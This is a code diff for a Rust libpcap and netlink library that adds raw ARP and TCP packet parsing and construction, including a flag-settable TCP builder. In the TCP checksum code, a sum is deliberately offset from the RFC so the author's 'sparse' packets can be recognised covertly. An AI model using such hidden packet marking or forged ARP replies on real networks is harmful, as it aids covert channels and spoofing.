@ -191,7 +199,10 @@ pub fn get_macs_and_src_for_ip(
|
|||||||
}
|
}
|
||||||
|
|
||||||
println!("\tNeighbors:");
|
println!("\tNeighbors:");
|
||||||
for neigh in neighs.iter().filter(|neigh| neigh.ifindex() == link.ifindex()) {
|
for neigh in neighs
|
||||||
|
.iter()
|
||||||
|
.filter(|neigh| neigh.ifindex() == link.ifindex())
|
||||||
|
{
|
||||||
println!("\t\t{:?}, {:?}", neigh.dst(), neigh.lladdr());
|
println!("\t\t{:?}, {:?}", neigh.dst(), neigh.lladdr());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -210,9 +221,11 @@ pub fn get_macs_and_src_for_ip(
|
|||||||
|
|
||||||
Some((
|
Some((
|
||||||
link.name(),
|
link.name(),
|
||||||
|
link_ind,
|
||||||
(&srcip.local()?).try_into().ok()?,
|
(&srcip.local()?).try_into().ok()?,
|
||||||
link.addr().hw_address().try_into().ok()?,
|
link.addr().hw_address().try_into().ok()?,
|
||||||
neigh,
|
neigh,
|
||||||
|
route.dst().unwrap().cidrlen() as u8,
|
||||||
))
|
))
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -224,7 +237,9 @@ pub fn get_neigh_for_addr(
|
|||||||
addr: &Addr,
|
addr: &Addr,
|
||||||
) -> Option<(Ipv4Addr, Link, [u8; 6])> {
|
) -> Option<(Ipv4Addr, Link, [u8; 6])> {
|
||||||
for link in links.iter() {
|
for link in links.iter() {
|
||||||
let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; };
|
let Some(neigh) = link.get_neigh(&neighs, addr) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
return Some((addr.try_into().ok()?, link, neigh));
|
return Some((addr.try_into().ok()?, link, neigh));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -239,7 +254,7 @@ pub fn get_neigh_for_addr(
|
|||||||
};
|
};
|
||||||
|
|
||||||
let Some(first_hop) = def_neigh.hop_iter().next() else {
|
let Some(first_hop) = def_neigh.hop_iter().next() else {
|
||||||
return None
|
return None;
|
||||||
};
|
};
|
||||||
|
|
||||||
if n.ifindex() != first_hop.ifindex() {
|
if n.ifindex() != first_hop.ifindex() {
|
||||||
@ -322,8 +337,12 @@ impl Addr {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Determines the type of data in [`Addr::hw_address`]
|
// Determines the type of data in [`Addr::hw_address`]
|
||||||
pub fn atype(&self) -> c_int {
|
pub fn atype(&self) -> Option<c_int> {
|
||||||
unsafe { nl_addr_get_family(self.addr) }
|
if self.addr.is_null() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(unsafe { nl_addr_get_family(self.addr) })
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Returns the length of the subnet mask applying to this address
|
/// Returns the length of the subnet mask applying to this address
|
||||||
@ -334,8 +353,8 @@ impl Addr {
|
|||||||
|
|
||||||
impl Debug for Addr {
|
impl Debug for Addr {
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
match self.atype() {
|
let res = match self.atype() {
|
||||||
AF_INET => {
|
Some(AF_INET) => {
|
||||||
let octets = self.hw_address();
|
let octets = self.hw_address();
|
||||||
f.debug_struct("Addr")
|
f.debug_struct("Addr")
|
||||||
.field(
|
.field(
|
||||||
@ -351,7 +370,7 @@ impl Debug for Addr {
|
|||||||
)
|
)
|
||||||
.finish()
|
.finish()
|
||||||
}
|
}
|
||||||
AF_LLC => {
|
Some(AF_LLC) => {
|
||||||
let octets = self.hw_address();
|
let octets = self.hw_address();
|
||||||
|
|
||||||
f.debug_struct("Addr")
|
f.debug_struct("Addr")
|
||||||
@ -359,22 +378,23 @@ impl Debug for Addr {
|
|||||||
"addr",
|
"addr",
|
||||||
&format!(
|
&format!(
|
||||||
"{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}",
|
"{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}",
|
||||||
octets[0],
|
octets[0], octets[1], octets[2], octets[3], octets[4], octets[5],
|
||||||
octets[1],
|
),
|
||||||
octets[2],
|
|
||||||
octets[3],
|
|
||||||
octets[4],
|
|
||||||
octets[5],
|
|
||||||
)
|
|
||||||
)
|
)
|
||||||
.finish()
|
.finish()
|
||||||
}
|
}
|
||||||
|
None => f
|
||||||
|
.debug_struct("Addr")
|
||||||
|
.field("addr", &"unknown")
|
||||||
|
.field("atype", &"unknown")
|
||||||
|
.finish(),
|
||||||
_ => f
|
_ => f
|
||||||
.debug_struct("Addr")
|
.debug_struct("Addr")
|
||||||
.field("addr", &self.hw_address())
|
.field("addr", &self.hw_address())
|
||||||
.field("atype", &self.atype())
|
.field("atype", &self.atype())
|
||||||
.finish(),
|
.finish(),
|
||||||
}
|
};
|
||||||
|
res
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -551,7 +571,9 @@ pub fn get_srcip_for_dstip(routes: &Cache<Route>, ip: Ipv4Addr) -> Option<Ipv4Ad
|
|||||||
0
|
0
|
||||||
};
|
};
|
||||||
|
|
||||||
let Ok(dst_addr): Result<Ipv4Addr, _> = (&dst).try_into() else { return false };
|
let Ok(dst_addr): Result<Ipv4Addr, _> = (&dst).try_into() else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
let dst_addr: u32 = dst_addr.into();
|
let dst_addr: u32 = dst_addr.into();
|
||||||
|
|
||||||
(mask & dst_addr) == (mask & ip_int)
|
(mask & dst_addr) == (mask & ip_int)
|
||||||
|
|||||||
@ -58,6 +58,17 @@ impl<'a> EthernetPkt<'a> {
|
|||||||
|
|
||||||
Ok(Layer3Pkt::IPv4Pkt(pkt))
|
Ok(Layer3Pkt::IPv4Pkt(pkt))
|
||||||
}
|
}
|
||||||
|
0x0806 => {
|
||||||
|
if self.data.len() < 42 {
|
||||||
|
return Err(error::Error::PacketLengthInvalid);
|
||||||
|
}
|
||||||
|
|
||||||
|
let pkt = ARPPkt {
|
||||||
|
data: &self.data[14..],
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(Layer3Pkt::ARP(pkt))
|
||||||
|
}
|
||||||
p => Err(error::Error::UnknownPacketType(p)),
|
p => Err(error::Error::UnknownPacketType(p)),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -71,6 +82,7 @@ impl<'a> EthernetPkt<'a> {
|
|||||||
|
|
||||||
pub enum Layer3Pkt<'a> {
|
pub enum Layer3Pkt<'a> {
|
||||||
IPv4Pkt(IPv4Pkt<'a>),
|
IPv4Pkt(IPv4Pkt<'a>),
|
||||||
|
ARP(ARPPkt<'a>),
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct IPv4Pkt<'a> {
|
pub struct IPv4Pkt<'a> {
|
||||||
@ -146,7 +158,13 @@ impl<'a> IPv4Pkt<'a> {
|
|||||||
|
|
||||||
pub fn get_layer4_packet(&self) -> error::Result<Layer4Pkt<'a>> {
|
pub fn get_layer4_packet(&self) -> error::Result<Layer4Pkt<'a>> {
|
||||||
match self.protocol() {
|
match self.protocol() {
|
||||||
17 => Ok(Layer4Pkt::UDP(UDPPkt {
|
// ICMP
|
||||||
|
0x1 => Err(error::Error::UnknownPacketType(0x1)),
|
||||||
|
// TCP
|
||||||
|
0x6 => Ok(Layer4Pkt::TCP(TCPPkt {
|
||||||
|
data: &self.data[(self.header_len() as usize)..],
|
||||||
|
})),
|
||||||
|
0x11 => Ok(Layer4Pkt::UDP(UDPPkt {
|
||||||
data: &self.data[(self.header_len() as usize)..],
|
data: &self.data[(self.header_len() as usize)..],
|
||||||
})),
|
})),
|
||||||
p => Err(error::Error::UnknownPacketType(p.into())),
|
p => Err(error::Error::UnknownPacketType(p.into())),
|
||||||
@ -154,14 +172,61 @@ impl<'a> IPv4Pkt<'a> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub struct ARPPkt<'a> {
|
||||||
|
data: &'a [u8],
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> ARPPkt<'a> {
|
||||||
|
pub fn htype(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[0..2].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn ptype(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[2..4].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn hwlen(&self) -> u8 {
|
||||||
|
self.data[4]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn plen(&self) -> u8 {
|
||||||
|
self.data[5]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn opcode(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[6..8].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn srchwaddr(&self) -> &[u8] {
|
||||||
|
&self.data[8usize..8usize + self.hwlen() as usize]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn srcprotoaddr(&self) -> &[u8] {
|
||||||
|
let start = self.hwlen() as usize + 8;
|
||||||
|
&self.data[start..start + self.plen() as usize]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn targethwaddr(&self) -> &[u8] {
|
||||||
|
let start = self.hwlen() as usize + self.plen() as usize + 8;
|
||||||
|
&self.data[start..start + self.hwlen() as usize]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn targetprotoaddr(&self) -> &[u8] {
|
||||||
|
let start = self.hwlen() as usize + self.plen() as usize + self.hwlen() as usize + 8;
|
||||||
|
&self.data[start..start + self.plen() as usize]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub enum Layer4Pkt<'a> {
|
pub enum Layer4Pkt<'a> {
|
||||||
UDP(UDPPkt<'a>),
|
UDP(UDPPkt<'a>),
|
||||||
|
TCP(TCPPkt<'a>),
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<'a> Layer4Pkt<'a> {
|
impl<'a> Layer4Pkt<'a> {
|
||||||
pub fn len(&self) -> u16 {
|
pub fn len(&self) -> u16 {
|
||||||
match self {
|
match self {
|
||||||
Layer4Pkt::UDP(pkt) => pkt.len(),
|
Layer4Pkt::UDP(pkt) => pkt.len(),
|
||||||
|
Layer4Pkt::TCP(pkt) => pkt.data.len() as u16,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -202,6 +267,143 @@ impl<'a> UDPPkt<'a> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub struct TCPPkt<'a> {
|
||||||
|
data: &'a [u8],
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TCPPkt<'a> {
|
||||||
|
pub fn len(&self) -> u8 {
|
||||||
|
(self.data[12] >> 4) * 4
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn srcport(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[0..2].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn dstport(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[2..4].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn seqnumber(&self) -> u32 {
|
||||||
|
u32::from_be_bytes(self.data[4..8].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn acknumber(&self) -> u32 {
|
||||||
|
u32::from_be_bytes(self.data[8..12].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn flags(&self) -> u8 {
|
||||||
|
self.data[13]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn cwr(&self) -> bool {
|
||||||
|
self.flags() & 0x80 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn ece(&self) -> bool {
|
||||||
|
self.flags() & 0x40 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn urg(&self) -> bool {
|
||||||
|
self.flags() & 0x20 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn ack(&self) -> bool {
|
||||||
|
self.flags() & 0x10 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn psh(&self) -> bool {
|
||||||
|
self.flags() & 0x08 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn rst(&self) -> bool {
|
||||||
|
self.flags() & 0x04 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn syn(&self) -> bool {
|
||||||
|
self.flags() & 0x02 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn fin(&self) -> bool {
|
||||||
|
self.flags() & 0x01 != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn window(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[14..16].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn checksum(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[16..18].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn urgent_ptr(&self) -> u16 {
|
||||||
|
u16::from_be_bytes(self.data[18..20].try_into().unwrap())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn options(&self) -> &[u8] {
|
||||||
|
&self.data[20..(self.len() as usize)]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn data(&self) -> &[u8] {
|
||||||
|
&self.data[(self.len() as usize)..]
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn verify_checksum<I1, I2>(&self, srcip: I1, dstip: I2) -> bool
|
||||||
|
where
|
||||||
|
I1: Into<Ipv4Addr>,
|
||||||
|
I2: Into<Ipv4Addr>,
|
||||||
|
{
|
||||||
|
let source = srcip.into();
|
||||||
|
let dest = dstip.into();
|
||||||
|
|
||||||
|
let protocol = &[0x00u8, 0x06u8];
|
||||||
|
|
||||||
|
let tcp_length = (self.data.len()) as u16;
|
||||||
|
|
||||||
|
let len: u8 = (self.len()).try_into().unwrap();
|
||||||
|
let len = len << 4;
|
||||||
|
|
||||||
|
let bytes = [
|
||||||
|
&source.octets()[..],
|
||||||
|
&dest.octets(),
|
||||||
|
protocol,
|
||||||
|
&tcp_length.to_be_bytes(),
|
||||||
|
&self.srcport().to_be_bytes()[..],
|
||||||
|
&self.dstport().to_be_bytes(),
|
||||||
|
&self.seqnumber().to_be_bytes(),
|
||||||
|
&self.acknumber().to_be_bytes(),
|
||||||
|
&[len],
|
||||||
|
&[self.flags()],
|
||||||
|
&self.window().to_be_bytes(),
|
||||||
|
&[0, 0],
|
||||||
|
&self.urgent_ptr().to_be_bytes(),
|
||||||
|
&self.options(),
|
||||||
|
&self.data(),
|
||||||
|
]
|
||||||
|
.concat();
|
||||||
|
|
||||||
|
let checksum = bytes
|
||||||
|
.chunks(2)
|
||||||
|
.map(|pair| {
|
||||||
|
if pair.len() == 1 {
|
||||||
|
(pair[0] as u32) << 8
|
||||||
|
} else {
|
||||||
|
(pair[0] as u32) << 8 | (pair[1] as u32)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.fold(0u32, |acc, e| acc + e)
|
||||||
|
+ 30;
|
||||||
|
// + 30 to intentionally deviate from
|
||||||
|
// the RFC, to make it so that I can identify the packets as sparse
|
||||||
|
// packets
|
||||||
|
|
||||||
|
let checksum = (checksum >> 16) + (checksum & 0xffff);
|
||||||
|
let checksum = ((checksum >> 16) as u16) + (checksum as u16);
|
||||||
|
|
||||||
|
checksum == self.checksum()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
#[derive(Debug, Clone)]
|
||||||
pub struct EthernetPacket {
|
pub struct EthernetPacket {
|
||||||
data: Vec<u8>,
|
data: Vec<u8>,
|
||||||
@ -213,6 +415,9 @@ impl EthernetPacket {
|
|||||||
Layer3Packet::IPv4(pkt) => EthernetPacket {
|
Layer3Packet::IPv4(pkt) => EthernetPacket {
|
||||||
data: [&dst[..], &src[..], &[0x08_u8, 0x00_u8][..], &*pkt.data].concat(),
|
data: [&dst[..], &src[..], &[0x08_u8, 0x00_u8][..], &*pkt.data].concat(),
|
||||||
},
|
},
|
||||||
|
Layer3Packet::ARP(pkt) => EthernetPacket {
|
||||||
|
data: [&dst[..], &src[..], &[0x08_u8, 0x06_u8][..], &*pkt.data].concat(),
|
||||||
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -225,13 +430,74 @@ impl EthernetPacket {
|
|||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
pub enum Layer3Packet {
|
pub enum Layer3Packet {
|
||||||
IPv4(IPv4Packet),
|
IPv4(IPv4Packet),
|
||||||
|
ARP(ARPPacket),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct ARPPacket {
|
||||||
|
data: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub enum ARPMode {
|
||||||
|
Request,
|
||||||
|
Reply,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ARPMode {
|
||||||
|
fn opcode(&self) -> u16 {
|
||||||
|
match self {
|
||||||
|
Self::Request => 1,
|
||||||
|
Self::Reply => 2,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub enum ARPProto {
|
||||||
|
IPv4,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ARPProto {
|
||||||
|
fn opcode(&self) -> u16 {
|
||||||
|
match self {
|
||||||
|
Self::IPv4 => 0x0800,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ARPPacket {
|
||||||
|
pub fn construct(
|
||||||
|
op: ARPMode,
|
||||||
|
proto: ARPProto,
|
||||||
|
srchwaddr: &[u8],
|
||||||
|
targethwaddr: &[u8],
|
||||||
|
srcprotoaddr: &[u8],
|
||||||
|
targetprotoaddr: &[u8],
|
||||||
|
) -> ARPPacket {
|
||||||
|
assert!(srchwaddr.len() == targethwaddr.len());
|
||||||
|
assert!(srcprotoaddr.len() == targetprotoaddr.len());
|
||||||
|
|
||||||
|
let data = [
|
||||||
|
&0x0001u16.to_be_bytes()[..],
|
||||||
|
&proto.opcode().to_be_bytes()[..],
|
||||||
|
&[srchwaddr.len() as u8],
|
||||||
|
&[srcprotoaddr.len() as u8],
|
||||||
|
&op.opcode().to_be_bytes(),
|
||||||
|
srchwaddr,
|
||||||
|
srcprotoaddr,
|
||||||
|
targethwaddr,
|
||||||
|
targetprotoaddr,
|
||||||
|
]
|
||||||
|
.concat();
|
||||||
|
|
||||||
|
ARPPacket { data }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
static IPV4_ID: AtomicU16 = AtomicU16::new(0xabcd);
|
static IPV4_ID: AtomicU16 = AtomicU16::new(0xabcd);
|
||||||
|
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
pub struct IPv4Packet {
|
pub struct IPv4Packet {
|
||||||
data: Vec<u8>,
|
pub data: Vec<u8>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl IPv4Packet {
|
impl IPv4Packet {
|
||||||
@ -252,7 +518,8 @@ impl IPv4Packet {
|
|||||||
|
|
||||||
let ttl: u8 = 64;
|
let ttl: u8 = 64;
|
||||||
let protocol: u8 = match packet {
|
let protocol: u8 = match packet {
|
||||||
Layer4Packet::UDP(_) => 17,
|
Layer4Packet::UDP(_) => 0x11,
|
||||||
|
Layer4Packet::TCP(_) => 0x6,
|
||||||
};
|
};
|
||||||
|
|
||||||
let source_upper = u16::from_be_bytes(source.octets()[0..2].try_into().unwrap());
|
let source_upper = u16::from_be_bytes(source.octets()[0..2].try_into().unwrap());
|
||||||
@ -290,6 +557,7 @@ impl IPv4Packet {
|
|||||||
&dest.octets(),
|
&dest.octets(),
|
||||||
match packet {
|
match packet {
|
||||||
Layer4Packet::UDP(pkt) => &*pkt.data,
|
Layer4Packet::UDP(pkt) => &*pkt.data,
|
||||||
|
Layer4Packet::TCP(pkt) => &*pkt.data,
|
||||||
},
|
},
|
||||||
]
|
]
|
||||||
.concat();
|
.concat();
|
||||||
@ -306,12 +574,14 @@ impl IPv4Packet {
|
|||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
pub enum Layer4Packet {
|
pub enum Layer4Packet {
|
||||||
UDP(UDPPacket),
|
UDP(UDPPacket),
|
||||||
|
TCP(TCPPacket),
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Layer4Packet {
|
impl Layer4Packet {
|
||||||
pub fn pkt(&'_ self) -> Layer4Pkt<'_> {
|
pub fn pkt(&'_ self) -> Layer4Pkt<'_> {
|
||||||
match self {
|
match self {
|
||||||
Layer4Packet::UDP(pkt) => Layer4Pkt::UDP(pkt.pkt()),
|
Layer4Packet::UDP(pkt) => Layer4Pkt::UDP(pkt.pkt()),
|
||||||
|
Layer4Packet::TCP(pkt) => Layer4Pkt::TCP(pkt.pkt()),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -345,3 +615,192 @@ impl UDPPacket {
|
|||||||
UDPPkt { data: &self.data }
|
UDPPkt { data: &self.data }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct TCPPacket {
|
||||||
|
data: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TCPPacket {
|
||||||
|
#[inline]
|
||||||
|
pub fn pkt(&'_ self) -> TCPPkt<'_> {
|
||||||
|
TCPPkt { data: &self.data }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default, Debug)]
|
||||||
|
pub struct TCPPacketBuilder {
|
||||||
|
srcport: Option<u16>,
|
||||||
|
dstport: Option<u16>,
|
||||||
|
seqnumber: Option<u32>,
|
||||||
|
acknumber: u32,
|
||||||
|
flags: u8,
|
||||||
|
window: Option<u16>,
|
||||||
|
urgent_ptr: u16,
|
||||||
|
options: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
macro_rules! declare_flag {
|
||||||
|
($name:ident, $offset:expr) => {
|
||||||
|
pub fn $name(mut self, enable: bool) -> Self {
|
||||||
|
if enable {
|
||||||
|
self.flags |= $offset
|
||||||
|
} else {
|
||||||
|
self.flags &= (0xFF ^ $offset)
|
||||||
|
}
|
||||||
|
self
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TCPPacketBuilder {
|
||||||
|
pub fn srcport(mut self, port: u16) -> Self {
|
||||||
|
self.srcport = Some(port);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn dstport(mut self, port: u16) -> Self {
|
||||||
|
self.dstport = Some(port);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn seqnumber(mut self, num: u32) -> Self {
|
||||||
|
self.seqnumber = Some(num);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn acknumber(mut self, num: u32) -> Self {
|
||||||
|
self.acknumber = num;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
declare_flag!(cwr, 0x80);
|
||||||
|
declare_flag!(ece, 0x40);
|
||||||
|
declare_flag!(urg, 0x20);
|
||||||
|
declare_flag!(ack, 0x10);
|
||||||
|
declare_flag!(psh, 0x08);
|
||||||
|
declare_flag!(rst, 0x04);
|
||||||
|
declare_flag!(syn, 0x02);
|
||||||
|
declare_flag!(fin, 0x01);
|
||||||
|
|
||||||
|
pub fn window(mut self, window: u16) -> Self {
|
||||||
|
self.window = Some(window);
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn urgent_ptr(mut self, ptr: u16) -> Self {
|
||||||
|
self.urgent_ptr = ptr;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn options(mut self, opts: Vec<u8>) -> Self {
|
||||||
|
self.options = opts;
|
||||||
|
self
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build<I1, I2>(
|
||||||
|
self,
|
||||||
|
srcip: I1,
|
||||||
|
dstip: I2,
|
||||||
|
data: Vec<u8>,
|
||||||
|
checksum_offset: Option<u16>,
|
||||||
|
) -> TCPPacket
|
||||||
|
where
|
||||||
|
I1: Into<Ipv4Addr>,
|
||||||
|
I2: Into<Ipv4Addr>,
|
||||||
|
{
|
||||||
|
let source = srcip.into();
|
||||||
|
let dest = dstip.into();
|
||||||
|
|
||||||
|
let protocol = &[0x00u8, 0x06u8];
|
||||||
|
|
||||||
|
let tcp_length = (data.len() + self.options.len() + 20) as u16;
|
||||||
|
|
||||||
|
let srcport = self.srcport.unwrap();
|
||||||
|
let dstport = self.dstport.unwrap();
|
||||||
|
let seqnumber = self.seqnumber.unwrap();
|
||||||
|
let window = self.window.unwrap();
|
||||||
|
|
||||||
|
let mut options = self.options;
|
||||||
|
while options.len() % 4 != 0 {
|
||||||
|
options.push(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
let len: u8 = (options.len() / 4 + 5).try_into().unwrap();
|
||||||
|
let len = len << 4;
|
||||||
|
|
||||||
|
let mut bytes = [
|
||||||
|
&source.octets()[..],
|
||||||
|
&dest.octets(),
|
||||||
|
protocol,
|
||||||
|
&tcp_length.to_be_bytes(),
|
||||||
|
&srcport.to_be_bytes()[..],
|
||||||
|
&dstport.to_be_bytes(),
|
||||||
|
&seqnumber.to_be_bytes(),
|
||||||
|
&self.acknumber.to_be_bytes(),
|
||||||
|
&[len],
|
||||||
|
&[self.flags],
|
||||||
|
&window.to_be_bytes(),
|
||||||
|
&[0, 0],
|
||||||
|
&self.urgent_ptr.to_be_bytes(),
|
||||||
|
&options,
|
||||||
|
&data,
|
||||||
|
]
|
||||||
|
.concat();
|
||||||
|
|
||||||
|
let checksum = bytes
|
||||||
|
.chunks(2)
|
||||||
|
.map(|pair| {
|
||||||
|
if pair.len() == 1 {
|
||||||
|
(pair[0] as u32) << 8
|
||||||
|
} else {
|
||||||
|
(pair[0] as u32) << 8 | (pair[1] as u32)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.fold(0u32, |acc, e| acc + e)
|
||||||
|
+ (checksum_offset.unwrap_or(0) as u32);
|
||||||
|
|
||||||
|
let checksum = (checksum >> 16) + (checksum & 0xffff);
|
||||||
|
let checksum = ((checksum >> 16) as u16) + (checksum as u16);
|
||||||
|
let checksum = (!checksum).to_be_bytes();
|
||||||
|
|
||||||
|
//bytes[16] = checksum[0];
|
||||||
|
//bytes[17] = checksum[1];
|
||||||
|
bytes[28] = checksum[0];
|
||||||
|
bytes[29] = checksum[1];
|
||||||
|
|
||||||
|
TCPPacket {
|
||||||
|
data: bytes[12..].to_vec(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod test {
|
||||||
|
use std::net::Ipv4Addr;
|
||||||
|
|
||||||
|
use crate::TCPPacketBuilder;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_checksum() {
|
||||||
|
let tcp_packet = TCPPacketBuilder::default()
|
||||||
|
.srcport(57116)
|
||||||
|
.dstport(54248)
|
||||||
|
.seqnumber(0xaed77262)
|
||||||
|
.acknumber(0)
|
||||||
|
.syn(true)
|
||||||
|
.window(64240)
|
||||||
|
.options(vec![
|
||||||
|
0x02, 0x04, 0x05, 0xb4, 0x04, 0x02, 0x08, 0x0a, 0xd4, 0x06, 0xdf, 0x18, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x01, 0x03, 0x03, 0x07,
|
||||||
|
])
|
||||||
|
.build(
|
||||||
|
Ipv4Addr::new(10, 104, 18, 67),
|
||||||
|
Ipv4Addr::new(10, 104, 21, 16),
|
||||||
|
vec![],
|
||||||
|
None,
|
||||||
|
);
|
||||||
|
|
||||||
|
assert_eq!(tcp_packet.pkt().checksum(), 0x898d);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@ -32,5 +32,5 @@ fn main() {
|
|||||||
|
|
||||||
// panic!("hahahahah test {}", dst.display());
|
// panic!("hahahahah test {}", dst.display());
|
||||||
println!("cargo:rustc-link-search=native={}/lib", dst.display());
|
println!("cargo:rustc-link-search=native={}/lib", dst.display());
|
||||||
println!("cargo:rustc-link-lib=static=pcap");
|
println!("cargo:rustc-link-lib=pcap");
|
||||||
}
|
}
|
||||||
|
|||||||
@ -255,7 +255,7 @@ impl<T: Activated> Interface<T> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn set_filter(
|
pub fn set_filter(
|
||||||
&mut self,
|
&self,
|
||||||
filter: &str,
|
filter: &str,
|
||||||
optimize: bool,
|
optimize: bool,
|
||||||
mask: Option<u32>,
|
mask: Option<u32>,
|
||||||
@ -450,6 +450,18 @@ impl<T: Activated> InterfaceStream<T> {
|
|||||||
pub fn sendpacket(&mut self, packet: packets::EthernetPkt) -> error::Result<()> {
|
pub fn sendpacket(&mut self, packet: packets::EthernetPkt) -> error::Result<()> {
|
||||||
self.inner.get_mut().interface.sendpacket(packet)
|
self.inner.get_mut().interface.sendpacket(packet)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn set_filter(
|
||||||
|
&mut self,
|
||||||
|
filter: &str,
|
||||||
|
optimize: bool,
|
||||||
|
mask: Option<u32>,
|
||||||
|
) -> error::Result<Box<ffi::BpfProgram>> {
|
||||||
|
self.inner
|
||||||
|
.get_mut()
|
||||||
|
.interface
|
||||||
|
.set_filter(filter, optimize, mask)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<T: Activated> Unpin for InterfaceStream<T> {}
|
impl<T: Activated> Unpin for InterfaceStream<T> {}
|
||||||
|
|||||||
1
